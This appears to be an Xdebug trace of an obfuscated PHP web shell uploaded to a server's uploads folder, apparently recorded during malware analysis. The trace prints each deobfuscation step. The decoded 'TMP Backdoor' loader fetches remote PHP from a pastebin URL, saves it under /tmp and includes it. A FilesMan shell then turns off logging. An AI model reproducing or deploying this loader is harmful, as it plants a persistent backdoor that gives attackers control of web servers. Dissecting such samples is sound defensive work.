Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:47:03.627365]
1	0	1	0.000142	393512
1	3	0	0.000189	394744	{main}	1		/var/www/html/uploads/byps.php	0	0
1		A						/var/www/html/uploads/byps.php	2	$enc = 'ZZOC36O8k5UA/e3h6Q/1U9qHo/H11MC3kVdklR1Cx93maE+dPsu2fZOaJb42cVs8xx/XQN7+vzAu5BF26k6Cd3C4DdmrncPNvNQzpDG30DyiPZG9/CH2aSz1iQ1SK/K181ZZxYpQnSFK03kFenH+sQabA1oRlZrSV/OGbOSn23dXt+N+qBu8eTZjFssrFvIL25urY1SJ0DoIpJxUY+UIyZ4Mdat9EUXR8ZDMpaFlB312A5mBi0b3bC1MFD1jMdsI2SrQ4dJIXMvWq/sxeFll/cVN/MwrAhRM9ZJfPkNIm2wuA5ev1FX1WJJpPHHDxZp12Gsa2qPyJqe6u0p1A53TniAsBZaRvx1n69eoaV7va4mkZoEJ3RDqibAxnV+BPM9xuOHtFpTkStOL3ogloPejlrMlJVBgwUESiTLbQvBNcdRwv+Ae7FYamyTDDvJDjFxeRih6dm1Ek8ofgbyj+A7cQ+UwK4IQ4lgUj2QocYji5qYUYgCXB7N9eLhk8c4x8LMi'
2	4	0	0.000233	394744	base64_decode	0		/var/www/html/uploads/byps.php	3	1	'WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ========='
2	4	1	0.000255	395000
2	4	R			'ZXZhbCgiPz4iLmd6dW5jb21wcmVzcyhnenVuY29tcHJlc3MoZ3ppbmZsYXRlKGd6aW5mbGF0ZShnemluZmxhdGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJGVuYykpKSkpKSkpOw=='
2	5	0	0.000278	394968	base64_decode	0		/var/www/html/uploads/byps.php	3	1	'ZXZhbCgiPz4iLmd6dW5jb21wcmVzcyhnenVuY29tcHJlc3MoZ3ppbmZsYXRlKGd6aW5mbGF0ZShnemluZmxhdGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJGVuYykpKSkpKSkpOw=='
2	5	1	0.000298	395192
2	5	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($enc))))))));'
2	6	0	0.000328	397280	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($enc))))))));'	/var/www/html/uploads/byps.php	3	0
3	7	0	0.000346	397280	strrev	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'ZZOC36O8k5UA/e3h6Q/1U9qHo/H11MC3kVdklR1Cx93maE+dPsu2fZOaJb42cVs8xx/XQN7+vzAu5BF26k6Cd3C4DdmrncPNvNQzpDG30DyiPZG9/CH2aSz1iQ1SK/K181ZZxYpQnSFK03kFenH+sQabA1oRlZrSV/OGbOSn23dXt+N+qBu8eTZjFssrFvIL25urY1SJ0DoIpJxUY+UIyZ4Mdat9EUXR8ZDMpaFlB312A5mBi0b3bC1MFD1jMdsI2SrQ4dJIXMvWq/sxeFll/cVN/MwrAhRM9ZJfPkNIm2wuA5ev1FX1WJJpPHHDxZp12Gsa2qPyJqe6u0p1A53TniAsBZaRvx1n69eoaV7va4mkZoEJ3RDqibAxnV+BPM9xuOHtFpTkStOL3ogloPejlrMlJVBgwUESiTLbQvBNcdRwv+Ae7FYamyTDDvJDjFxeRih6dm1Ek8ofgbyj+A7cQ+UwK4IQ4lgUj2QocYji5qYUYgCXB7N9eLhk8c4x8LMi'
3	7	1	0.000370	398080
3	7	R			'Ad4BIf4B2QEm/gHUASv+eJwByQE2/nicjVHvi9pAEP0u+D9Mr+JGmhoP+gPu9ETvIl6xniSxpYiEuBmbpZtsyG6qtvR/726i9gqFul+GnXnvzZuZ/jBP8mbjJQQfFzCO6LdYiML8x4c8khLe9N7BXCgYUYq5ijYcoQ2jUgl4QI4KwU+Qc7A+jybgfo8kE1md6hiRexFjDJvDDTymaYF7eA+vwRdcNBvQbLTiSEUwgBVJlMrljePolgo3LOtSkTpFtHOux9MPB+VnxAbiqDR3JEoZkm4av7Vaoe96n1xvRaZBsAinT35A1p0u6eqJyPq2asG21pZxDHHPpJJW1XF1ve5Auw2mINkPfJZ9MRhArwM/NVc/llFexs/qWvMXIJd4QrS2IsdMj1DFM1Cb3b0iBm5A213BlFapMDZ8RXUE9tadM4ZyIU+YUxJpIoD0JS1Yru52LIvFrssFjZTe8uBq+N+tXd32nSObGO/VSrZlRo1AbaQs+HneFk30KFSnQpYx'
3	8	0	0.000397	398048	base64_decode	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'Ad4BIf4B2QEm/gHUASv+eJwByQE2/nicjVHvi9pAEP0u+D9Mr+JGmhoP+gPu9ETvIl6xniSxpYiEuBmbpZtsyG6qtvR/726i9gqFul+GnXnvzZuZ/jBP8mbjJQQfFzCO6LdYiML8x4c8khLe9N7BXCgYUYq5ijYcoQ2jUgl4QI4KwU+Qc7A+jybgfo8kE1md6hiRexFjDJvDDTymaYF7eA+vwRdcNBvQbLTiSEUwgBVJlMrljePolgo3LOtSkTpFtHOux9MPB+VnxAbiqDR3JEoZkm4av7Vaoe96n1xvRaZBsAinT35A1p0u6eqJyPq2asG21pZxDHHPpJJW1XF1ve5Auw2mINkPfJZ9MRhArwM/NVc/llFexs/qWvMXIJd4QrS2IsdMj1DFM1Cb3b0iBm5A213BlFapMDZ8RXUE9tadM4ZyIU+YUxJpIoD0JS1Yru52LIvFrssFjZTe8uBq+N+tXd32nSObGO/VSrZlRo1AbaQs+HneFk30KFSnQpYx'
3	8	1	0.000423	398848
3	8	R			'\001\001!\001\001&\001\001+x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	9	0	0.000483	398048	gzinflate	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'\001\001!\001\001&\001\001+x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	9	1	0.000576	398592
3	9	R			'\001\001&\001\001+x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	10	0	0.000632	397792	gzinflate	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'\001\001&\001\001+x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	10	1	0.000684	398336
3	10	R			'\001\001+x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	11	0	0.000737	397792	gzinflate	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'\001\001+x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	11	1	0.000787	398336
3	11	R			'x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	12	0	0.000838	397792	gzuncompress	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'x\001\0016xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd\bY'
3	12	1	0.000893	398336
3	12	R			'xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd'
3	13	0	0.000944	397792	gzuncompress	0		/var/www/html/uploads/byps.php(3) : eval()'d code	1	1	'xQ@\020.?LF\032\017\003D"^$\031lnn\n_y͛0Of%\004\037\0270XǇ<\022\\(\030Q6\034\rR\tx@\nOs>&~$\023Y\030{\021c\f\r<i{x\017\027\\4\033lHE0\025I\n7,R:Es\017\ag\0064w$J\031n\032Zz\\oEA\bO~@֝.j֖q\fqϤVqu@\r \017|}1\030@\003?5W?Q^Z\027 xB"LP3Pݽ"\006n@]V06|Eu\004֝3r!OS\022i"%-Xv,Ů\005j߭]#\030JeF@m,y\026M(TB1e|ԯKT"4pfO `\003o4\'gC-\v:Py\fP_q\\ۆh_\017w\032q\vTed#5\036T:w\001Nd'
3	13	1	0.001003	398720
3	13	R			'<?php\r\n# TMP Backdoor\r\n# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)\r\n# Coded by: Immrex 7 - Solo\r\n \r\n$data = [\'https://pastebin.com/raw/1BHJytSn\', \'/tmp/sess_\'.md5($_SERVER[\'HTTP_HOST\']).\'.php\'];\r\n \r\nif(file_exists($data[1]) && filesize($data[1]) !== 0) {\r\n    include($data[1]);\r\n} else {\r\n    $fopen = fopen($data[1], \'w+\');\r\n    fwrite($fopen, get($data[0]));\r\n    fclose($fopen);\r\n    echo \'<script>window.location="?https://pastebin.com/raw/1BHJyt'
3	14	0	0.001088	405352	eval	1	'?><?php\r\n# TMP Backdoor\r\n# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)\r\n# Coded by: Immrex 7 - Solo\r\n \r\n$data = [\'https://pastebin.com/raw/1BHJytSn\', \'/tmp/sess_\'.md5($_SERVER[\'HTTP_HOST\']).\'.php\'];\r\n \r\nif(file_exists($data[1]) && filesize($data[1]) !== 0) {\r\n    include($data[1]);\r\n} else {\r\n    $fopen = fopen($data[1], \'w+\');\r\n    fwrite($fopen, get($data[0]));\r\n    fclose($fopen);\r\n    echo \'<script>window.location="?https://pastebin.com/raw/1BHJytSn";</script>\';\r\n}\r\n \r\nfunction get($url) {\r\n    $ch = curl_init();\r\n          curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\r\n          curl_setopt($ch, CURLOPT_URL, $url);\r\n          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);\r\n          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\r\n    return curl_exec($ch);\r\n          curl_close($ch);\r\n}\r\n?>'	/var/www/html/uploads/byps.php(3) : eval()'d code	1	0
4	15	0	0.001126	405728	md5	0		/var/www/html/uploads/byps.php(3) : eval()'d code(1) : eval()'d code	6	1	'localhost'
4	15	1	0.001143	405824
4	15	R			'421aa90e079fa326b6494f812ad13e79'
3		A						/var/www/html/uploads/byps.php(3) : eval()'d code(1) : eval()'d code	6	$data = [0 => 'https://pastebin.com/raw/1BHJytSn', 1 => '/tmp/sess_421aa90e079fa326b6494f812ad13e79.php']
4	16	0	0.001176	405808	file_exists	0		/var/www/html/uploads/byps.php(3) : eval()'d code(1) : eval()'d code	8	1	'/tmp/sess_421aa90e079fa326b6494f812ad13e79.php'
4	16	1	0.001198	405848
4	16	R			TRUE
4	17	0	0.001212	405808	filesize	0		/var/www/html/uploads/byps.php(3) : eval()'d code(1) : eval()'d code	8	1	'/tmp/sess_421aa90e079fa326b6494f812ad13e79.php'
4	17	1	0.001229	405896
4	17	R			63057
4	18	0	0.001274	407272	eval	1	'?><?php\r\n# TMP Backdoor\r\n# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)\r\n# Coded by: Immrex 7 - Solo\r\n \r\n$data = [\'https://pastebin.com/raw/1BHJytSn\', \'/tmp/sess_\'.md5($_SERVER[\'HTTP_HOST\']).\'.php\'];\r\n \r\nif(file_exists($data[1]) && filesize($data[1]) !== 0) {\r\n    include($data[1]);\r\n} else {\r\n    $fopen = fopen($data[1], \'w+\');\r\n    fwrite($fopen, get($data[0]));\r\n    fclose($fopen);\r\n    echo \'<script>window.location="?https://pastebin.com/raw/1BHJytSn";</script>\';\r\n}\r\n \r\nfunction get($url) {\r\n    $ch = curl_init();\r\n          curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\r\n          curl_setopt($ch, CURLOPT_URL, $url);\r\n          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);\r\n          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\r\n    return curl_exec($ch);\r\n          curl_close($ch);\r\n}\r\n?>'	/var/www/html/uploads/byps.php(3) : eval()'d code(1) : eval()'d code	9	0
4		A						/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	3	$auth_pass = '21232f297a57a5a743894a0e4a801fc3'
4		A						/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	4	$color = '#fff'
4		A						/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	5	$default_action = 'FilesMan'
5	19	0	0.001348	407272	define	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	6	2	'SELF_PATH'	'/tmp/sess_421aa90e079fa326b6494f812ad13e79.php'
5	19	1	0.001363	407376
5	19	R			TRUE
5	20	0	0.001378	407304	strpos	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	7	2	'python-requests/2.25.1'	'Google'
5	20	1	0.001392	407376
5	20	R			FALSE
5	21	0	0.001406	407304	session_start	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	11	0
5	21	1	0.001464	408056
5	21	R			TRUE
5	22	0	0.001480	408056	error_reporting	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	12	1	0
5	22	1	0.001493	408096
5	22	R			0
5	23	0	0.001506	408056	ini_set	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	13	2	'error_log'	NULL
5	23	1	0.001524	408128
5	23	R			''
5	24	0	0.001544	408056	ini_set	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	14	2	'log_errors'	0
5	24	1	0.001566	408128
5	24	R			'1'
5	25	0	0.001586	408056	ini_set	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	15	2	'max_execution_time'	0
5	25	1	0.001608	408160
5	25	R			'30'
5	26	0	0.001628	408056	set_time_limit	0		/tmp/sess_421aa90e079fa326b6494f812ad13e79.php	16	1	0
5	26	1	0.001648	408120
5	26	R			FALSE
4	18	1	0.001678	409912
3	14	1	0.001690	409528
2	6	1	0.001702	405720
1	3	1	0.001713	403264
1	27	0	0.001723	403296	Error->__toString	0		Unknown	0	0
2	28	0	0.001742	403376	Error->getTraceAsString	0		Unknown	0	0
2	28	1	0.001761	403632
2	28	R			'#0 /var/www/html/uploads/byps.php(3) : eval()\'d code(1) : eval()\'d code(9): include()\n#1 /var/www/html/uploads/byps.php(3) : eval()\'d code(1): eval()\n#2 /var/www/html/uploads/byps.php(3): eval()\n#3 {main}'
1	27	1	0.001795	407768
1	27	R			'Error: Call to undefined function set_magic_quotes_runtime() in /tmp/sess_421aa90e079fa326b6494f812ad13e79.php:17\nStack trace:\n#0 /var/www/html/uploads/byps.php(3) : eval()\'d code(1) : eval()\'d code(9): include()\n#1 /var/www/html/uploads/byps.php(3) : eval()\'d code(1): eval()\n#2 /var/www/html/uploads/byps.php(3): eval()\n#3 {main}'
			0.001867	328352
TRACE END   [2023-02-12 21:47:03.629119]

